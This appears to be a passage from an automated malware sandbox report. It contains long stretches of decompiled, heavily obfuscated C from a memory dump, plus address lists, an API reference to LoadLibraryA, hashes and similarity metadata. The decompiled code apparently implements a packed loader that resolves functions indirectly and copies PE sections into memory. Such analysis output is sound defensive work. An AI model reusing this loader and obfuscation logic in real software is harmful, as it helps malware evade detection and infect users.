									_t508 = _t508 - 0xfffffffc;
								}
								 *(_t500 - 4) =  *(_t500 - 4) + _t331;
								if( *(_t381 + 0x41b9a3) == 0) {
									_t375 =  *((intOrPtr*)(_t381 + 0x491c074))();
									 *(_t500 - 0x10) = _t443;
									 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) & 0x00000000;
									 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) | _t443 ^  *(_t500 - 0x10) ^ _t375;
									_t443 =  *(_t500 - 0x10);
								}
								_t80 = _t443 + 0xc; // 0xd229fcec
								_t392 = _t390 & 0x00000000 ^ (_t381 ^  *_t508 |  *_t80);
								_t384 = _t381;
								if( *((intOrPtr*)(_t384 + 0x41b0c8)) == 0) {
									 *_t83 =  *((intOrPtr*)(_t384 + 0x491c074))(_t392);
									 *_t85 =  *(_t500 - 0x10);
									_t392 =  *_t508;
									_t508 =  &(_t508[1]);
								}
								_t393 = _t392 +  *(_t500 + 8);
								if( *(_t384 + 0x41b5e5) == 0) {
									_t373 =  *((intOrPtr*)(_t384 + 0x491c100))(_t393, _t393);
									 *(_t500 - 0x10) = _t456;
									 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) & 0x00000000;
									 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) | _t456 ^  *(_t500 - 0x10) | _t373;
									_t456 =  *(_t500 - 0x10);
									 *_t96 = 0;
									_t393 = (_t393 & 0x00000000) +  *(_t500 - 0x10);
								}
								_t457 = _t456 +  *(_t500 + 8);
								if( *((intOrPtr*)(_t384 + 0x41bc92)) == 0) {
									_t372 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t393;
									 *((intOrPtr*)(_t384 + 0x41bc92)) = _t372;
									 *_t104 = _t393;
									_t393 =  *(_t500 - 0x10) & 0x00000000 |  *(_t500 - 0x10);
								}
								_t106 = _t384 + 0x41ba21; // 0x836db5
								_t333 =  *((intOrPtr*)(_t384 + 0x491c078))(_t393);
								 *(_t500 - 0x10) = _t457;
								 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) & 0x00000000;
								 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) ^ (_t457 ^  *(_t500 - 0x10) | _t333);
								_t460 =  *(_t500 - 0x10);
								_t334 = LoadLibraryA(_t106);
								if( *(_t384 + 0x41b963) == 0) {
									_t370 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b0c4)), 0xffffffff, _t334);
									 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) & 0x00000000;
									 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) ^ _t416 -  *_t508 ^ _t370;
									_t416 = _t416;
									_pop( *_t123);
									_t334 = (_t370 & 0x00000000) +  *(_t500 - 0x10);
								}
								 *_t125 = _t334;
								 *_t127 =  *(_t500 - 0x10);
								if( *(_t384 + 0x41b933) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t443;
									 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) & 0x00000000;
									 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) ^ _t443 -  *(_t500 - 0x10) ^ _t334;
									_t443 =  *(_t500 - 0x10);
								}
								goto L27;
							}
						} else {
							if( *(_t384 + 0x41bac5) == 0) {
								_t329 =  *((intOrPtr*)(_t384 + 0x491c07c))( *((intOrPtr*)(_t384 + 0x41b1d7)));
								 *(_t384 + 0x41bac5) =  *(_t384 + 0x41bac5) & 0x00000000;
								 *(_t384 + 0x41bac5) =  *(_t384 + 0x41bac5) | _t387 & 0x00000000 | _t329;
								_t387 = _t387;
							}
							if( *(_t443 + 0x10) != 0) {
								goto L1;
							} else {
								if( *(_t384 + 0x41bbf6) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c100))( *((intOrPtr*)(_t384 + 0x41bc6d)),  *((intOrPtr*)(_t384 + 0x41bc02)));
									 *(_t500 - 0x10) = _t416;
									 *(_t384 + 0x41bbf6) =  *(_t384 + 0x41bbf6) & 0x00000000;
									 *(_t384 + 0x41bbf6) =  *(_t384 + 0x41bbf6) ^ _t416 & 0x00000000 ^ _t334;
									_t416 =  *(_t500 - 0x10);
								}
								 *_t325 = _t416;
								_pop( *_t327);
								return _t334 ^ _t334;
							}
						}
					}
				}
			}

0x043a4822
0x043a4822
0x043a4822
0x043a4827
0x043a482a
0x043a4830
0x043a4836
0x043a483c
0x043a4844
0x043a484b
0x043a4851
0x043a4854
0x043a4854
0x043a4854
0x043a485f
0x043a4861
0x043a486b
0x043a4879
0x043a487f
0x043a4887
0x043a488e
0x043a4894
0x043a4894
0x043a4897
0x043a4897
0x043a4897
0x043a48a1
0x043a48ab
0x043a48b1
0x043a48b8
0x043a48be
0x043a48be
0x043a48c1
0x043a48cb
0x043a48d3
0x043a48da
0x043a48dd
0x043a48e0
0x043a48e0
0x043a48e6
0x043a48f2
0x043a48f4
0x043a48fe
0x043a4908
0x043a490e
0x043a4916
0x043a491d
0x043a4923
0x043a4928
0x043a492b
0x043a492b
0x043a492e
0x043a4938
0x043a493a
0x043a4940
0x043a4948
0x043a494f
0x043a4955
0x043a4955
0x043a495c
0x043a4962
0x043a4964
0x043a496c
0x043a4976
0x043a497c
0x043a4984
0x043a4987
0x043a4987
0x043a498a
0x043a4994
0x043a499a
0x043a49a0
0x043a49a8
0x043a49af
0x043a49b5
0x043a49be
0x043a49c1
0x043a49c1
0x043a49c4
0x043a49ce
0x043a49d1
0x043a49d7
0x043a49de
0x043a49ed
0x043a49f0
0x043a49f0
0x043a49f4
0x043a49fb
0x043a4a01
0x043a4a09
0x043a4a10
0x043a4a16
0x043a4a19
0x043a4a26
0x043a4a31
0x043a4a3d
0x043a4a44
0x043a4a4a
0x043a4a51
0x043a4a54
0x043a4a54
0x043a4a58
0x043a4a5e
0x043a4a68
0x043a4a6a
0x043a4a70
0x043a4a78
0x043a4a7f
0x043a4a85
0x043a4a85
0x043a4a88
0x043a4a88
0x043a4a8e
0x043a4bdc
0x043a4be5
0x043a4be7
0x043a4bee
0x043a4bf4
0x043a4bf4
0x043a4bfa
0x043a4c04
0x043a4c07
0x043a4c0f
0x043a4c16
0x043a4c1c
0x043a4c1c
0x043a4c1d
0x043a4c2b
0x043a4c34
0x043a4c3b
0x043a4c3e
0x043a4c41
0x043a4c41
0x043a4a94
0x043a4a94
0x043a4a9b
0x043a4aa1
0x043a4aa9
0x043a4ab0
0x043a4ab6
0x043a4ab9
0x043a4ac1
0x043a4acb
0x043a4ad7
0x043a4ade
0x043a4ae4
0x043a4ae4
0x043a4ae5
0x043a4aee
0x043a4af1
0x043a4af7
0x043a4aff
0x043a4b06
0x043a4b0c
0x043a4b0c
0x043a4b0f
0x043a4b19
0x043a4b1b
0x043a4b21
0x043a4b28
0x043a4b2e
0x043a4b2e
0x043a4b3a
0x043a4b3c
0x043a4b44
0x043a4b47
0x043a4b53
0x043a4b5a
0x043a4b60
0x043a4b60
0x043a4b67
0x043a4b6b
0x043a4b6e
0x043a4b6f
0x043a4b76
0x043a4b82
0x043a4b89
0x043a4b8f
0x043a4b96
0x043a4b99
0x043a4ba3
0x043a4ba5
0x043a4bab
0x043a4bb2
0x043a4bb8
0x043a4bb8
0x043a4bbb
0x043a4c51
0x043a4c53
0x043a4c5b
0x043a4c60
0x043a4c6c
0x043a4c73
0x043a4c79
0x043a4c79
0x043a4c7d
0x043a4c84
0x043a4c8a
0x043a4c92
0x043a4c99
0x043a4c9f
0x043a4cac
0x043a4cae
0x043a4cb6
0x043a4cb9
0x043a4cc5
0x043a4ccc
0x043a4cd2
0x043a4cd9
0x043a4cdc
0x043a4cdc
0x043a4cdf
0x043a4ce7
0x043a4ce9
0x043a4cf5
0x043a4cfc
0x043a4d02
0x043a4d02
0x043a4d03
0x043a4d10
0x043a4d13
0x043a4d13
0x043a4d1a
0x043a4d22
0x043a4d2e
0x043a4d35
0x043a4d3b
0x043a4d3c
0x043a4d3f
0x043a4d3f
0x043a4d42
0x043a4d4a
0x043a4d4d
0x043a4d59
0x043a4d60
0x043a4d66
0x043a4d6d
0x043a4d70
0x043a4d70
0x043a4d73
0x043a4d7d
0x043a4d81
0x043a4d88
0x043a4d8e
0x043a4d95
0x043a4d9b
0x043a4d9e
0x043a4da6
0x043a4dad
0x043a4daf
0x043a4db7
0x043a4dc3
0x043a4dc9
0x043a4dc9
0x043a4dd5
0x043a4dd8
0x043a4de2
0x043a4de4
0x043a4de4
0x043a4deb
0x043a4dfd
0x043a4dfe
0x043a4e01
0x043a4e04
0x043a4e04
0x043a4e0b
0x043a4e12
0x043a4e1a
0x043a4e1d
0x043a4e29
0x043a4e30
0x043a4e36
0x043a4e39
0x043a4e3c
0x043a4e3c
0x043a4e3f
0x043a4e48
0x043a4e57
0x043a4e5d
0x043a4e65
0x043a4e68
0x043a4e68
0x043a4e6b
0x043a4e6e
0x043a4e75
0x043a4e7b
0x043a4e82
0x043a4e88
0x043a4e8b
0x043a4e9b
0x043a4ea2
0x043a4eae
0x043a4eb5
0x043a4ebb
0x043a4ebb
0x043a4ec5
0x043a4ec7
0x043a4ecf
0x043a4ed7
0x043a4edf
0x043a4ee6
0x043a4eec
0x043a4eec
0x043a4ef0
0x043a47b7
0x043a47ba
0x00000000
0x043a47c0
0x043a47c7
0x043a47c9
0x043a47cf
0x043a47d7
0x043a47de
0x043a47e4
0x043a47e4
0x043a47e7
0x043a47ed
0x043a47f3
0x043a47f5
0x043a47ff
0x043a4809
0x043a480f
0x043a4816
0x043a481c
0x043a481c
0x043a4897
0x043a4897
0x043a48a1
0x043a48ab
0x043a48b1
0x043a48b8
0x043a48be
0x043a48be
0x043a48c1
0x043a48cb
0x043a48d3
0x043a48da
0x043a48dd
0x043a48e0
0x043a48e0
0x043a48e6
0x043a48f2
0x043a48f4
0x043a48fe
0x043a4908
0x043a490e
0x043a4916
0x043a491d
0x043a4923
0x043a4928
0x043a492b
0x043a492b
0x043a492e
0x043a4938
0x043a493a
0x043a4940
0x043a4948
0x043a494f
0x043a4955
0x043a4955
0x043a495c
0x043a4962
0x043a4964
0x043a496c
0x043a4976
0x043a497c
0x043a4984
0x043a4987
0x043a4987
0x043a498a
0x043a4994
0x043a499a
0x043a49a0
0x043a49a8
0x043a49af
0x043a49b5
0x043a49be
0x043a49c1
0x043a49c1
0x043a49c4
0x043a49ce
0x043a49d1
0x043a49d7
0x043a49de
0x043a49ed
0x043a49f0
0x043a49f0
0x043a49f4
0x043a49fb
0x043a4a01
0x043a4a09
0x043a4a10
0x043a4a16
0x043a4a19
0x043a4a26
0x043a4a31
0x043a4a3d
0x043a4a44
0x043a4a4a
0x043a4a51
0x043a4a54
0x043a4a54
0x043a4a58
0x043a4a5e
0x043a4a68
0x043a4a6a
0x043a4a70
0x043a4a78
0x043a4a7f
0x043a4a85
0x043a4a85
0x00000000
0x043a4a68
0x043a4ef6
0x043a4efd
0x043a4f05
0x043a4f11
0x043a4f18
0x043a4f1e
0x043a4f1e
0x043a4f23
0x00000000
0x043a4f29
0x043a4f30
0x043a4f3e
0x043a4f44
0x043a4f4c
0x043a4f53
0x043a4f59
0x043a4f59
0x043a4f66
0x043a4f6e
0x043a4f75
0x043a4f75
0x043a4f23
0x043a4ef0
0x043a4897

APIs

LoadLibraryA.KERNEL32 ref: 043A4A19

Memory Dump Source

Source File: 00000003.00000002.872769981.00000000043A0000.00000040.00000001.sdmp, Offset: 043A0000, based on PE: true

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b9c5434a0265911d372f7d9ae86d60696d59badcb30bfde7db7445a1e44c1c2f
Instruction ID: 873ed8369c50ea567707fb94de1a791368e2cbede6d5909e4ff2c2fbcc75bb31
Opcode Fuzzy Hash: b9c5434a0265911d372f7d9ae86d60696d59badcb30bfde7db7445a1e44c1c2f
Instruction Fuzzy Hash: 1D229E72844225DFEF04CFA0C9897EA7BB5FF04315F0885A9DD69AE19AC7741460CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 043A28A5, Relevance: 2.3, APIs: 1, Instructions: 840
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 57%

			E043A28A5(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t485;
				signed int _t487;
				signed int _t488;
				signed int _t489;
				signed int _t491;
				intOrPtr _t493;
				signed int _t495;
				signed int _t496;
				signed int _t499;
				signed int _t500;
				signed int _t501;
				intOrPtr* _t502;
				signed int _t503;
				intOrPtr* _t504;
				intOrPtr _t505;
				signed int _t506;
				signed int _t507;
				signed int _t509;
				signed int _t512;
				signed int _t514;
				signed int _t517;
				void* _t518;
				intOrPtr* _t519;
				signed int _t520;
				intOrPtr* _t523;
				intOrPtr _t524;
				signed int _t525;
				signed int _t526;
				signed int _t528;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				intOrPtr* _t533;
				signed int _t534;
				signed int _t536;
				signed int _t537;
				signed int _t538;
				signed int _t539;
				signed int _t540;
				signed int _t541;
				intOrPtr _t542;
				signed int _t543;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t553;
				signed int _t554;
				signed int _t556;
				intOrPtr* _t557;
				intOrPtr _t558;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				void* _t566;
				signed int _t569;
				signed int _t572;
				signed int _t577;
				signed int _t581;
				signed int _t584;
				signed int _t587;
				int _t590;
				signed int _t612;
				signed int _t623;
				signed int _t628;
				signed int _t633;
				signed int _t671;
				signed int _t674;
				signed int _t688;
				signed int _t690;
				intOrPtr _t691;
				signed int _t694;
				void* _t696;
				signed int _t697;
				intOrPtr _t698;
				void* _t699;
				signed int _t703;
				signed int _t705;
				signed int _t708;
				signed int _t716;
				signed int _t731;
				signed int _t734;
				signed int _t736;
				void* _t739;
				void* _t740;
				signed int _t746;
				signed int _t748;
				signed int _t763;
				signed int _t766;
				signed int* _t778;
				signed int* _t779;
				signed int* _t782;
				signed int* _t783;

				_t731 = __esi;
				_t688 = __edi;
				_t626 = __edx;
				_t578 = __ecx;
				_t563 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x41b66c)) == 0) {
					_push(__ecx);
					_push(__edx);
					_push( *((intOrPtr*)(__ebx + 0x41b8f8)));
					_t485 =  *((intOrPtr*)(__ebx + 0x491c10c))();
					 *_t4 = _t485;
					_push(_v16);
					_pop( *_t6);
					 *_t7 = 0;
					_t626 = 0 + _v16;
					_pop( *_t9);
					_t578 = _v12;
				}
				if( *(_t563 + 0x41bb0e) != 0) {
					L17:
					_push(_t626);
					if( *((intOrPtr*)(_t563 + 0x41b809)) == 0) {
						_t485 =  *((intOrPtr*)(_t563 + 0x491c100))( *((intOrPtr*)(_t563 + 0x41b70c)),  *((intOrPtr*)(_t563 + 0x41baad)), _t578);
						 *_t94 = _t485;
						_push(_v12);
						_pop( *_t96);
						_pop( *_t97);
						_t578 = _t578 & 0x00000000 ^ _v12;
					}
					if( *(_t563 + 0x41b4a8) == 0) {
						if( *(_t563 + 0x41b778) == 0) {
							_t554 =  *((intOrPtr*)(_t563 + 0x491c10c))(_t763, _t578);
							_v12 = _t626;
							 *(_t563 + 0x41b778) =  *(_t563 + 0x41b778) & 0x00000000;
							 *(_t563 + 0x41b778) =  *(_t563 + 0x41b778) ^ (_t626 - _v12 | _t554);
							_t626 = _v12;
							 *_t109 = _t485;
							_t578 = _v12;
						}
						_push(_t578);
						if( *(_t563 + 0x41b1fb) == 0) {
							_t553 =  *((intOrPtr*)(_t563 + 0x491c0fc))( *((intOrPtr*)(_t563 + 0x41bd53)));
							_v12 = _t626;
							 *(_t563 + 0x41b1fb) =  *(_t563 + 0x41b1fb) & 0x00000000;
							 *(_t563 + 0x41b1fb) =  *(_t563 + 0x41b1fb) | _t626 - _v12 | _t553;
							_t626 = _v12;
						}
						_t485 =  *((intOrPtr*)(_t563 + 0x491c108))();
						_v16 = _t626;
						 *(_t563 + 0x41b4a8) =  *(_t563 + 0x41b4a8) & 0x00000000;
						 *(_t563 + 0x41b4a8) =  *(_t563 + 0x41b4a8) ^ (_t626 ^ _v16 | _t485);
						_t626 = _v16;
						_pop( *_t129);
						_t578 = 0 ^ _v16;
					}
					_push(_t578);
					if( *(_t563 + 0x41ba56) == 0) {
						_t485 =  *((intOrPtr*)(_t563 + 0x491c10c))(_t688,  *((intOrPtr*)(_t563 + 0x41b227)));
						_v16 = _t688;
						 *(_t563 + 0x41ba56) =  *(_t563 + 0x41ba56) & 0x00000000;
						 *(_t563 + 0x41ba56) =  *(_t563 + 0x41ba56) | _t688 - _v16 | _t485;
						_t688 = _v16;
					}
					_t487 = _t485 & 0x00000000 ^ (_t563 & 0x00000000 | _a4);
					_t566 = _t563;
					if( *(_t566 + 0x41b33f) == 0) {
						_t551 =  *((intOrPtr*)(_t566 + 0x491c110))(_t778, _t487);
						_v12 = _t688;
						 *(_t566 + 0x41b33f) =  *(_t566 + 0x41b33f) & 0x00000000;
						 *(_t566 + 0x41b33f) =  *(_t566 + 0x41b33f) | _t688 ^ _v12 ^ _t551;
						_t688 = _v12;
						_t487 = _t551 & 0x00000000 |  *_t778;
						_t778 =  &(_t778[1]);
					}
					_t488 = _t487 +  *((intOrPtr*)(_t487 + 0x3c));
					if( *((intOrPtr*)(_t566 + 0x41b8d4)) == 0) {
						 *_t154 =  *((intOrPtr*)(_t566 + 0x491c07c))(_t731, _t488);
						_push(_v12);
						_pop( *_t156);
						_t488 = 0 ^  *_t778;
						_t778 =  &(_t778[1]);
					}
					_push(_t488);
					if( *((intOrPtr*)(_t566 + 0x41b811)) == 0) {
						 *_t160 =  *((intOrPtr*)(_t566 + 0x491c0fc))(_t488);
						_push(_v16);
						_pop( *_t162);
						 *_t163 =  *((intOrPtr*)(_t566 + 0x41bb06));
						_t488 = _v12;
					}
					_t690 = _t688 & 0x00000000 ^ (_t578 & 0x00000000 | _t488);
					_t581 = _t578;
					if( *(_t566 + 0x41b186) == 0) {
						_t546 =  *((intOrPtr*)(_t566 + 0x491c074))();
						 *(_t566 + 0x41b186) =  *(_t566 + 0x41b186) & 0x00000000;
						 *(_t566 + 0x41b186) =  *(_t566 + 0x41b186) | _t690 ^  *_t778 | _t546;
						_t690 = _t690;
					}
					_t489 =  *(_t690 + 6) & 0x0000ffff;
					if( *(_t566 + 0x41bd07) == 0) {
						_t544 =  *((intOrPtr*)(_t566 + 0x491c110))(0xfffff9f9, _t489);
						_v16 = _t581;
						 *(_t566 + 0x41bd07) =  *(_t566 + 0x41bd07) & 0x00000000;
						 *(_t566 + 0x41bd07) =  *(_t566 + 0x41bd07) ^ _t581 - _v16 ^ _t544;
						_t581 = _v16;
						_t489 = 0 ^  *_t778;
						_t778 =  &(_t778[1]);
					}
					_v8 = _v8 & 0x00000000;
					_v8 = _v8 ^ (_t566 -  *_t778 | _t489);
					_t569 = _t566;
					if( *(_t569 + 0x41b0b4) == 0) {
						_t543 =  *((intOrPtr*)(_t569 + 0x491c110))(0xd7);
						_v12 = _t731;
						 *(_t569 + 0x41b0b4) = 0 ^ _t543;
						_t731 = _v12;
					}
					_t491 =  *((intOrPtr*)(_t569 + 0x491c078))(_t569 + 0x41b845, _t690);
					_v16 = _t581;
					 *(_t569 + 0x41b4c9) =  *(_t569 + 0x41b4c9) & 0x00000000;
					 *(_t569 + 0x41b4c9) =  *(_t569 + 0x41b4c9) ^ _t581 - _v16 ^ _t491;
					_t584 = _v16;
					_v12 = _t584;
					_t628 = _t626 & 0x00000000 | _t584 & 0x00000000 |  *(_t690 + 0x54);
					_t587 = _v12;
					_t493 =  *((intOrPtr*)(_t569 + 0x491c078))(_t569 + 0x41b0d0, _t628);
					 *_t778 = _t731;
					 *((intOrPtr*)(_t569 + 0x41bb84)) = _t493;
					_t734 = 0;
					_pop( *_t205);
					_v16 = _t628 & 0x00000000 | _v16;
					_t691 =  *((intOrPtr*)(_t569 + 0x41b1df));
					_t633 = _v16;
					if( *((intOrPtr*)(_t569 + 0x41b0f5)) == 0) {
						_t542 =  *((intOrPtr*)(_t569 + 0x491c0fc))( *((intOrPtr*)(_t569 + 0x41b33b)), _t633);
						 *_t778 = _t587;
						 *((intOrPtr*)(_t569 + 0x41b0f5)) = _t542;
						_t587 = 0;
						_pop( *_t214);
						_t633 = 0 + _v12;
					}
					_t736 = _t734 & 0x00000000 | _t691 -  *_t778 | _a4;
					_t694 = _t691;
					if( *(_t569 + 0x41b465) == 0) {
						_t541 =  *((intOrPtr*)(_t569 + 0x491c07c))(_t633);
						 *(_t569 + 0x41b465) =  *(_t569 + 0x41b465) & 0x00000000;
						 *(_t569 + 0x41b465) =  *(_t569 + 0x41b465) | _t694 ^  *_t778 ^ _t541;
						_t694 = _t694;
						 *_t223 = _t778;
						_t633 = _v12;
					}
					_v16 = _t569;
					_t589 = _t587 & 0x00000000 | _t569 & 0x00000000 ^ _t633;
					_t572 = _v16;
					if( *(_t572 + 0x41ba3d) == 0) {
						_t540 =  *((intOrPtr*)(_t572 + 0x491c07c))( *((intOrPtr*)(_t572 + 0x41b8cc)), _t633, _t589);
						 *(_t572 + 0x41ba3d) =  *(_t572 + 0x41ba3d) & 0x00000000;
						 *(_t572 + 0x41ba3d) =  *(_t572 + 0x41ba3d) | _t694 & 0x00000000 ^ _t540;
						_t694 = _t694;
						_t633 =  *_t778;
						_t778 = _t778 - 0xfffffffc;
						_pop( *_t234);
						_t589 = (_t589 & 0x00000000) + _v16;
					}
					if(_t694 == _t736) {
						L69:
						_pop( *_t332);
						_t696 = 0 + _v16;
						if( *((intOrPtr*)(_t572 + 0x41bc86)) == 0) {
							_t524 =  *((intOrPtr*)(_t572 + 0x491c074))();
							 *_t778 = _t633;
							 *((intOrPtr*)(_t572 + 0x41bc86)) = _t524;
							_t633 = 0;
						}
						_t697 = _t696 + 0xf8;
						_t739 = _t736;
						_t337 = _t572 + 0x41bc71; // 0x41bc71
						_t495 =  *((intOrPtr*)(_t572 + 0x491c078))(_t337);
						 *(_t572 + 0x41b19b) =  *(_t572 + 0x41b19b) & 0x00000000;
						 *(_t572 + 0x41b19b) =  *(_t572 + 0x41b19b) | _t763 & 0x00000000 ^ _t495;
						_t766 = _t763;
						do {
							_push(_t697);
							if( *(_t572 + 0x41b888) == 0) {
								_t507 =  *((intOrPtr*)(_t572 + 0x491c110))(0);
								_push(_t739);
								 *(_t572 + 0x41b888) =  *(_t572 + 0x41b888) & 0x00000000;
								 *(_t572 + 0x41b888) =  *(_t572 + 0x41b888) ^ _t739 -  *_t778 ^ _t507;
							}
							_push(_a4);
							_pop( *_t350);
							_push(_v12);
							_pop(_t740);
							if( *(_t572 + 0x41bcff) == 0) {
								_t506 =  *((intOrPtr*)(_t572 + 0x491c10c))(0, 1);
								_push(_t589);
								 *(_t572 + 0x41bcff) =  *(_t572 + 0x41bcff) & 0x00000000;
								 *(_t572 + 0x41bcff) =  *(_t572 + 0x41bcff) ^ (_t589 & 0x00000000 | _t506);
							}
							_v12 = _t572;
							_t590 =  *(_t697 + 0x10);
							_t572 = _v12;
							if( *((intOrPtr*)(_t572 + 0x41b51d)) == 0) {
								_t362 = _t572 + 0x41b105; // 0x41b105
								_t504 = _t362;
								 *_t504 = 0x30;
								_t505 =  *((intOrPtr*)(_t572 + 0x491c104))(0, _t504, _t590);
								 *_t778 = _t697;
								 *((intOrPtr*)(_t572 + 0x41b51d)) = _t505;
								_t697 = 0;
								_t590 =  *_t778;
								_t778 = _t778 - 0xfffffffc;
							}
							_t739 = _t740 +  *((intOrPtr*)(_t697 + 0x14));
							if( *(_t572 + 0x41b0d9) == 0) {
								_t367 = _t572 + 0x41b000; // 0x41b000
								_t502 = _t367;
								 *_t502 = 0x30;
								_t503 =  *((intOrPtr*)(_t572 + 0x491c104))( *((intOrPtr*)(_t572 + 0x41b20b)), _t502, _t590);
								 *(_t572 + 0x41b0d9) =  *(_t572 + 0x41b0d9) & 0x00000000;
								 *(_t572 + 0x41b0d9) =  *(_t572 + 0x41b0d9) ^ _t697 & 0x00000000 ^ _t503;
								_t697 = _t697;
								_pop( *_t374);
								_t590 = _t590 & 0x00000000 ^ _v16;
							}
							_t698 =  *((intOrPtr*)(_t697 + 0xc));
							if( *(_t572 + 0x41bade) == 0) {
								_t501 =  *((intOrPtr*)(_t572 + 0x491c110))(_t739, _t590);
								 *(_t572 + 0x41bade) =  *(_t572 + 0x41bade) & 0x00000000;
								 *(_t572 + 0x41bade) =  *(_t572 + 0x41bade) | _t739 & 0x00000000 ^ _t501;
								_t739 = _t739;
								_t590 =  *_t778;
								_t778 =  &(_t778[1]);
							}
							_t699 = _t698 +  *(_t572 + 0x41b1df);
							if( *(_t572 + 0x41baea) == 0) {
								_t500 =  *((intOrPtr*)(_t572 + 0x491c10c))( *((intOrPtr*)(_t572 + 0x41b2a3)), 1, _t590);
								 *(_t572 + 0x41baea) =  *(_t572 + 0x41baea) & 0x00000000;
								 *(_t572 + 0x41baea) =  *(_t572 + 0x41baea) | _t633 & 0x00000000 | _t500;
								_t633 = _t633;
								_pop( *_t391);
								_t590 = _v12;
							}
							_t496 = memcpy(_t699, _t739, _t590);
							_t778 =  &(_t778[3]);
							_t589 = 0;
							if( *(_t572 + 0x41b21f) == 0) {
								_t496 =  *((intOrPtr*)(_t572 + 0x491c110))( *((intOrPtr*)(_t572 + 0x41b0e1)));
								_v12 = 0;
								 *(_t572 + 0x41b21f) =  *(_t572 + 0x41b21f) & 0x00000000;
								 *(_t572 + 0x41b21f) =  *(_t572 + 0x41b21f) | 0 ^ _t496;
								_t589 = _v12;
							}
							_pop( *_t402);
							_t703 = 0 ^ _v16;
							if( *(_t572 + 0x41b7cc) == 0) {
								_t496 =  *((intOrPtr*)(_t572 + 0x491c108))();
								 *(_t572 + 0x41b7cc) =  *(_t572 + 0x41b7cc) & 0x00000000;
								 *(_t572 + 0x41b7cc) =  *(_t572 + 0x41b7cc) | _t703 & 0x00000000 | _t496;
								_t703 = _t703;
							}
							_t697 = _t703 + 0x28;
							_t499 = _t496;
							if( *(_t572 + 0x41b0d5) == 0) {
								_t411 = _t572 + 0x41b4e9; // 0x41b4e9
								_t523 = _t411;
								 *_t523 = 0x30;
								_t499 =  *((intOrPtr*)(_t572 + 0x491c104))( *((intOrPtr*)(_t572 + 0x41b72c)), _t523);
								 *(_t572 + 0x41b0d5) =  *(_t572 + 0x41b0d5) & 0x00000000;
								 *(_t572 + 0x41b0d5) =  *(_t572 + 0x41b0d5) | _t633 ^  *_t778 | _t499;
								_t633 = _t633;
							}
							_t418 =  &_v8;
							 *_t418 = _v8 - 1;
						} while ( *_t418 != 0);
						if( *(_t572 + 0x41b172) == 0) {
							_t499 =  *((intOrPtr*)(_t572 + 0x491c100))( *((intOrPtr*)(_t572 + 0x41b894)), 1);
							 *(_t572 + 0x41b172) =  *(_t572 + 0x41b172) & 0x00000000;
							 *(_t572 + 0x41b172) =  *(_t572 + 0x41b172) ^ (_t766 -  *_t778 | _t499);
							_t766 = _t766;
						}
						_t705 =  *_t778;
						_t779 =  &(_t778[1]);
						if( *(_t572 + 0x41b2f3) == 0) {
							_t499 =  *((intOrPtr*)(_t572 + 0x491c10c))( *((intOrPtr*)(_t572 + 0x41b14d)), 1);
							_push(_t766);
							 *(_t572 + 0x41b2f3) =  *(_t572 + 0x41b2f3) & 0x00000000;
							 *(_t572 + 0x41b2f3) =  *(_t572 + 0x41b2f3) ^ (_t766 & 0x00000000 | _t499);
						}
						_v16 = _t572;
						_t509 = _t499 & 0x00000000 | _t572 ^ _v16 ^  *(_t705 + 0x28);
						_t577 = _v16;
						if( *((intOrPtr*)(_t577 + 0x41b451)) == 0) {
							 *_t440 =  *((intOrPtr*)(_t577 + 0x491c10c))(1, _t509);
							_push(_v16);
							_pop( *_t442);
							 *_t443 = 1;
							_t509 = _v12;
						}
						_t446 = _t577 + 0x41b9a7; // 0x41b9a7
						_t512 =  *((intOrPtr*)(_t577 + 0x491c078))(_t509 +  *(_t577 + 0x41b1df));
						 *(_t577 + 0x41b317) =  *(_t577 + 0x41b317) & 0x00000000;
						 *(_t577 + 0x41b317) =  *(_t577 + 0x41b317) | _t739 -  *_t779 | _t512;
						_t746 = _t739;
						 *_t452 = _t446;
						_t514 = _t512 & 0x00000000 ^ _v12;
						_v16 = _t705;
						 *(_t577 + 0x41bb25) =  *(_t577 + 0x41bb25) & 0x00000000;
						 *(_t577 + 0x41bb25) =  *(_t577 + 0x41bb25) | _t705 - _v16 | _t514;
						_t708 = _v16;
						if( *(_t577 + 0x41b0e5) == 0) {
							_t514 =  *((intOrPtr*)(_t577 + 0x491c10c))( *((intOrPtr*)(_t577 + 0x41b45d)), _t708);
							_v16 = _t746;
							 *(_t577 + 0x41b0e5) = 0 ^ _t514;
							_t746 = _v16;
						}
						_v12 = _t514;
						_t748 = _t746 & 0x00000000 ^ _t514 & 0x00000000 ^  *(_t577 + 0x41b1df);
						_t517 = _v12;
						if( *((intOrPtr*)(_t577 + 0x41b5c5)) == 0) {
							_t517 =  *((intOrPtr*)(_t577 + 0x491c07c))(_t633);
							_v16 = _t633;
							 *((intOrPtr*)(_t577 + 0x41b5c5)) = _t517;
						}
						if(_t748 > 0) {
							if( *(_t577 + 0x41bc69) == 0) {
								_t476 = _t577 + 0x41b9ec; // 0x41b9ec
								_t519 = _t476;
								 *_t519 = 0x30;
								_t520 =  *((intOrPtr*)(_t577 + 0x491c104))(0, _t519);
								_v12 = _t589;
								 *(_t577 + 0x41bc69) =  *(_t577 + 0x41bc69) & 0x00000000;
